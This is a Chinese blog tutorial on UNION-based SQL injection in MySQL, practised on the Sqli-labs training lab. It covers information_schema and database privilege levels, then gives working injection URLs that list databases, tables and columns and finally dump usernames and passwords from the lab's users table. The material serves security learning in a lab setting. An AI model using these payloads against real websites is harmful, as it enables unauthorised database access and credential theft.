SQL注入(Sqli-labs实战)|思路整理

这里拿MySQL数据库进行举例,其他的数据库注入方式大同小异,只是语法上的细小差异。
不知道如何找注入点请看该篇文章:零基础看SQL注入
小知识:

数据库版本: version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
information_schema表特性,记录库名,表名,列名
information_schema.schemata:记录了所有数据库名
information_schema.tables:记录所有表名
information_schema.columns:记录所有列名
table_name:表名
column_name:列名
table_schema: 数据库名字

高权限注入及低权限注入

通过user()查询可知,用户权限为root(高权限),高权限表示可以有权限管理该机下的所有数据库:

SQL注入(Sqli-labs实战)|思路整理_第1张图片
可管理的数据库:

SQL注入(Sqli-labs实战)|思路整理_第2张图片
反之: 如果为低权限,就只能查询某一个特定的库

跨库查询及应用思路

获取所有数据库名:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name), 3 from information_schema.schemata

SQL注入(Sqli-labs实战)|思路整理_第3张图片

查询指定数据库的所有表名

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

SQL注入(Sqli-labs实战)|思路整理_第4张图片

获取指定security数据库下的列名信息

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema='security'

SQL注入(Sqli-labs实战)|思路整理_第5张图片

查询指定数据

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from security.users

这里可以通过where指定表名(table_name)和数据库(table_schema)名
SQL注入(Sqli-labs实战)|思路整理_第6张图片


schemata下面的一些相关信息:
SQL注入(Sqli-labs实战)|思路整理_第7张图片

推荐两款SQL注入扫描工具:
https://blog.csdn.net/weixin_45951067/article/details/121187001


推荐几篇好的文章:
MSSQL注入
https://www.cnblogs.com/xishaonian/p/6173644.html
墨者刷题笔记
https://blog.csdn.net/qq_39936434/category_9103379.html

你可能感兴趣的:(SQL注入篇,sql,数据库,安全)